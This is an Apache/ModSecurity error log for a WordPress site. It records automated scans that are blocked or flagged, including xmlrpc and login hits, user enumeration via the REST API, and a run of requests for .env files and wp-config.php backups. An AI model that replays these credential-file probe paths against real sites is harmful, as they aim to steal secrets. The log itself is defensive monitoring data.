[Mon Mar 02 02:57:30.857341 2026] [:error] [pid 53585:tid 53599] [client 117.62.235.53:54892] [client 117.62.235.53] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aaSMGnbCvYsvu6kKhM3n4gAAAAs"]
[Mon Mar 02 03:19:36.515510 2026] [:error] [pid 53585:tid 53598] [client 89.187.187.74:21221] [client 89.187.187.74] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 89.187.187.74, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aaSRSHbCvYsvu6kKhM34qgAAAAo"]
[Mon Mar 02 03:19:40.016768 2026] [:error] [pid 53585:tid 53599] [client 89.187.187.74:21221] [client 89.187.187.74] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/"] [unique_id "aaSRTHbCvYsvu6kKhM340wAAAAs"]
[Mon Mar 02 03:19:43.055982 2026] [:error] [pid 53585:tid 53609] [client 89.187.187.74:21221] [client 89.187.187.74] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 89.187.187.74, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aaSRT3bCvYsvu6kKhM343AAAABU"]
[Mon Mar 02 03:21:45.410153 2026] [:error] [pid 53182:tid 53558] [client 85.209.9.49:51680] [client 85.209.9.49] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.209.9.49, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaSRyfv073cA6eM1YCQQlAAAAM4"]
[Mon Mar 02 03:41:16.338077 2026] [autoindex:error] [pid 53585:tid 53589] [client 161.97.112.146:65341] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Mon Mar 02 04:33:26.882749 2026] [:error] [pid 31257:tid 31266] [client 206.189.158.56:50936] [client 206.189.158.56] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 206.189.158.56, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aaSilv-JFLfishX45N_hXAAAAQM"]
[Mon Mar 02 04:33:34.884760 2026] [:error] [pid 31257:tid 31271] [client 206.189.158.56:50936] [client 206.189.158.56] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 206.189.158.56, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaSinv-JFLfishX45N_hlAAAAQg"]
[Mon Mar 02 04:33:39.048734 2026] [:error] [pid 31257:tid 31271] [client 206.189.158.56:50936] [client 206.189.158.56] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/"] [unique_id "aaSio_-JFLfishX45N_hpwAAAQg"]
[Mon Mar 02 04:33:42.061305 2026] [:error] [pid 31257:tid 31264] [client 206.189.158.56:50936] [client 206.189.158.56] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 206.189.158.56, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aaSipv-JFLfishX45N_huwAAAQE"]
[Mon Mar 02 04:33:46.187425 2026] [:error] [pid 31257:tid 31270] [client 206.189.158.56:59152] [client 206.189.158.56] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 206.189.158.56, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaSiqv-JFLfishX45N_hzwAAAQc"], referer: https://vetstars.com.au//wp-login.php
[Mon Mar 02 04:40:37.949140 2026] [:error] [pid 31257:tid 31266] [client 182.69.183.2:25824] [client 182.69.183.2] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 182.69.183.2, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aaSkRf-JFLfishX45N_q6QAAAQM"], referer: https://vetstars.com.au/
[Mon Mar 02 04:40:43.121486 2026] [proxy_fcgi:error] [pid 31257:tid 31287] [client 182.69.183.2:16592] AH01071: Got error 'PHP message: WordPress database error The total number of locks exceeds the lock table size for query INSERT INTO `wp_options` (`option_name`, `option_value`, `autoload`) VALUES ('_transient_doing_cron', '1772397643.0694880485534667968750', 'on') ON DUPLICATE KEY UPDATE `option_name` = VALUES(`option_name`), `option_value` = VALUES(`option_value`), `autoload` = VALUES(`autoload`) made by shutdown_action_hook, do_action('shutdown'), WP_Hook->do_action, WP_Hook->apply_filters, _wp_cron, spawn_cron, set_transient, add_option', referer: https://vetstars.com.au/
[Mon Mar 02 04:56:23.297965 2026] [:error] [pid 28908:tid 28913] [client 149.102.225.182:52350] [client 149.102.225.182] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 149.102.225.182, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aaSn94qJmC8ih_lQQnDSTAAAAMM"]
[Mon Mar 02 04:56:26.909431 2026] [:error] [pid 28908:tid 28920] [client 149.102.225.182:52350] [client 149.102.225.182] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/"] [unique_id "aaSn-oqJmC8ih_lQQnDSXwAAAMo"]
[Mon Mar 02 04:56:29.707156 2026] [:error] [pid 28908:tid 28926] [client 149.102.225.182:52350] [client 149.102.225.182] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 149.102.225.182, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aaSn_YqJmC8ih_lQQnDSbAAAANA"]
[Mon Mar 02 05:09:21.851921 2026] [:error] [pid 31257:tid 31266] [client 43.157.191.20:37686] [client 43.157.191.20] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aaSrAf-JFLfishX45N8MOAAAAQM"]
[Mon Mar 02 05:11:17.365646 2026] [:error] [pid 28793:tid 28812] [client 51.75.151.149:64884] [client 51.75.151.149] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 51.75.151.149, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aaSrdQ2_fxBANaHo1f77bAAAAAU"]
[Mon Mar 02 05:11:17.419183 2026] [:error] [pid 28793:tid 28815] [client 51.75.151.149:64847] [client 51.75.151.149] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 51.75.151.149, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aaSrdQ2_fxBANaHo1f77bQAAAAg"]
[Mon Mar 02 05:38:13.643587 2026] [:error] [pid 31257:tid 31285] [client 185.200.246.72:54284] [client 185.200.246.72] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env"] [unique_id "aaSxxf-JFLfishX45N8uQgAAARY"]
[Mon Mar 02 05:38:14.214892 2026] [:error] [pid 31257:tid 31269] [client 185.200.246.72:54329] [client 185.200.246.72] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.example"] [unique_id "aaSxxv-JFLfishX45N8uSQAAAQY"]
[Mon Mar 02 05:38:14.789719 2026] [:error] [pid 31257:tid 31283] [client 185.200.246.72:54365] [client 185.200.246.72] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.local"] [unique_id "aaSxxv-JFLfishX45N8uUAAAARQ"]
[Mon Mar 02 05:38:15.358371 2026] [:error] [pid 31257:tid 31282] [client 185.200.246.72:54408] [client 185.200.246.72] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.production"] [unique_id "aaSxx_-JFLfishX45N8uWAAAARM"]
[Mon Mar 02 05:38:15.927891 2026] [:error] [pid 28795:tid 28869] [client 185.200.246.72:54457] [client 185.200.246.72] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.dev"] [unique_id "aaSxx7ROd53wZBkdI_cXeAAAAIY"]
[Mon Mar 02 05:38:16.503777 2026] [:error] [pid 28793:tid 28813] [client 185.200.246.72:54516] [client 185.200.246.72] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.old"] [unique_id "aaSxyA2_fxBANaHo1f4DuAAAAAY"]
[Mon Mar 02 05:38:17.087898 2026] [:error] [pid 28793:tid 28814] [client 185.200.246.72:54549] [client 185.200.246.72] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.bak"] [unique_id "aaSxyQ2_fxBANaHo1f4DuwAAAAc"]
[Mon Mar 02 05:38:17.658086 2026] [:error] [pid 31257:tid 31284] [client 185.200.246.72:54587] [client 185.200.246.72] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.save"] [unique_id "aaSxyf-JFLfishX45N8uXQAAARU"]
[Mon Mar 02 05:38:18.505138 2026] [:error] [pid 31257:tid 31272] [client 185.200.246.72:54661] [client 185.200.246.72] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.backup"] [unique_id "aaSxyv-JFLfishX45N8uYgAAAQk"]
[Mon Mar 02 05:38:19.069708 2026] [:error] [pid 28793:tid 28820] [client 185.200.246.72:54703] [client 185.200.246.72] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env_1"] [unique_id "aaSxyw2_fxBANaHo1f4DvQAAAA0"]
[Mon Mar 02 05:38:19.664680 2026] [:error] [pid 28795:tid 28878] [client 185.200.246.72:54730] [client 185.200.246.72] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/backup/.env"] [unique_id "aaSxy7ROd53wZBkdI_cXgQAAAI8"]
[Mon Mar 02 05:38:20.236799 2026] [:error] [pid 31257:tid 31272] [client 185.200.246.72:54767] [client 185.200.246.72] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/config/.env"] [unique_id "aaSxzP-JFLfishX45N8ubAAAAQk"]
[Mon Mar 02 05:38:20.808436 2026] [:error] [pid 31257:tid 31263] [client 185.200.246.72:54802] [client 185.200.246.72] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/wp-config.php"] [unique_id "aaSxzP-JFLfishX45N8ubgAAAQA"]
[Mon Mar 02 05:38:21.377836 2026] [:error] [pid 28794:tid 28836] [client 185.200.246.72:54843] [client 185.200.246.72] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/wp-config.php.bak"] [unique_id "aaSxzaVy2qpaelbUob0IFwAAAEA"]
[Mon Mar 02 05:38:21.959933 2026] [:error] [pid 31257:tid 31267] [client 185.200.246.72:54879] [client 185.200.246.72] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.old" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/wp-config.old"] [unique_id "aaSxzf-JFLfishX45N8udQAAAQQ"]
[Mon Mar 02 05:38:22.540649 2026] [:error] [pid 28794:tid 28852] [client 185.200.246.72:54923] [client 185.200.246.72] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/wp-config.php.save"] [unique_id "aaSxzqVy2qpaelbUob0IGQAAAFA"]
[Mon Mar 02 05:38:23.622858 2026] [:error] [pid 28795:tid 28874] [client 185.200.246.72:54985] [client 185.200.246.72] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/wp-config.php.swp"] [unique_id "aaSxz7ROd53wZBkdI_cXiAAAAIs"]
[Mon Mar 02 05:38:24.209235 2026] [:error] [pid 28908:tid 28922] [client 185.200.246.72:55019] [client 185.200.246.72] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/wp-config.php~"] [unique_id "aaSx0IqJmC8ih_lQQnDz5wAAAMw"]
[Mon Mar 02 05:38:24.790529 2026] [:error] [pid 28908:tid 28921] [client 185.200.246.72:55054] [client 185.200.246.72] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.txt" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/wp-config.txt"] [unique_id "aaSx0IqJmC8ih_lQQnDz7AAAAMs"]
[Mon Mar 02 05:38:25.359330 2026] [:error] [pid 31257:tid 31263] [client 185.200.246.72:55083] [client 185.200.246.72] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||vetstars.com.au|F|2"] [data ".inc"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "vetstars.com.au"] [uri "/wp-config.inc"] [unique_id "aaSx0f-JFLfishX45N8uiwAAAQA"]
[Mon Mar 02 06:22:44.747853 2026] [:error] [pid 31257:tid 31283] [client 151.80.117.61:47134] [client 151.80.117.61] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 151.80.117.61, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaS8NP-JFLfishX45N9ZEAAAARQ"]
[Mon Mar 02 06:29:04.670858 2026] [:error] [pid 28795:tid 28884] [client 206.81.24.246:51078] [client 206.81.24.246] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 206.81.24.246, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaS9sLROd53wZBkdI_c4xgAAAJU"]
[Mon Mar 02 07:11:49.747147 2026] [:error] [pid 31257:tid 31286] [client 52.231.70.237:27469] [client 52.231.70.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/666.php"] [unique_id "aaTHtf-JFLfishX45N-CLAAAARc"]
[Mon Mar 02 07:11:50.305601 2026] [:error] [pid 31257:tid 31281] [client 52.231.70.237:25198] [client 52.231.70.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/666.php"] [unique_id "aaTHtv-JFLfishX45N-CLQAAARI"]
[Mon Mar 02 07:11:50.870506 2026] [:error] [pid 28795:tid 28873] [client 52.231.70.237:21498] [client 52.231.70.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/666.php"] [unique_id "aaTHtrROd53wZBkdI_dT5AAAAIo"]
[Mon Mar 02 07:11:51.419951 2026] [:error] [pid 28908:tid 28933] [client 52.231.70.237:25196] [client 52.231.70.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/666.php"] [unique_id "aaTHt4qJmC8ih_lQQnBqYgAAANc"]
[Mon Mar 02 07:49:06.210964 2026] [:error] [pid 28908:tid 28932] [client 23.92.66.211:44090] [client 23.92.66.211] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 23.92.66.211, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaTQcoqJmC8ih_lQQnCdJwAAANY"]
[Mon Mar 02 08:10:54.014519 2026] [:error] [pid 28908:tid 28933] [client 20.104.97.185:11411] [client 20.104.97.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wk/index.php"] [unique_id "aaTVjoqJmC8ih_lQQnC29QAAANc"]
[Mon Mar 02 08:10:54.877650 2026] [:error] [pid 28908:tid 28918] [client 20.104.97.185:11648] [client 20.104.97.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wk/index.php"] [unique_id "aaTVjoqJmC8ih_lQQnC2_wAAAMg"]
[Mon Mar 02 08:10:55.727472 2026] [:error] [pid 28793:tid 28815] [client 20.104.97.185:11408] [client 20.104.97.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wk/index.php"] [unique_id "aaTVjw2_fxBANaHo1f451QAAAAg"]
[Mon Mar 02 08:10:56.627979 2026] [:error] [pid 28908:tid 28921] [client 20.104.97.185:11668] [client 20.104.97.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wk/index.php"] [unique_id "aaTVkIqJmC8ih_lQQnC3CgAAAMs"]
[Mon Mar 02 09:01:23.111829 2026] [:error] [pid 28795:tid 28872] [client 51.75.119.161:35474] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20game.aspx"] [unique_id "aaThY7ROd53wZBkdI_eLiAAAAIk"]
[Mon Mar 02 09:01:25.543084 2026] [:error] [pid 21575:tid 21582] [client 51.75.119.161:37328] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "aaThZSrocdArcJqFfIl6awAAAUM"]
[Mon Mar 02 09:01:28.108651 2026] [:error] [pid 21575:tid 21596] [client 51.75.119.161:37330] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vip.aspx"] [unique_id "aaThaCrocdArcJqFfIl6bwAAAVE"]
[Mon Mar 02 09:01:30.632084 2026] [:error] [pid 31257:tid 31264] [client 51.75.119.161:37332] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "aaThav-JFLfishX45N_dygAAAQE"]
[Mon Mar 02 09:01:33.051837 2026] [:error] [pid 28793:tid 28809] [client 51.75.119.161:37346] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20th.aspx"] [unique_id "aaThbQ2_fxBANaHo1f5DjwAAAAI"]
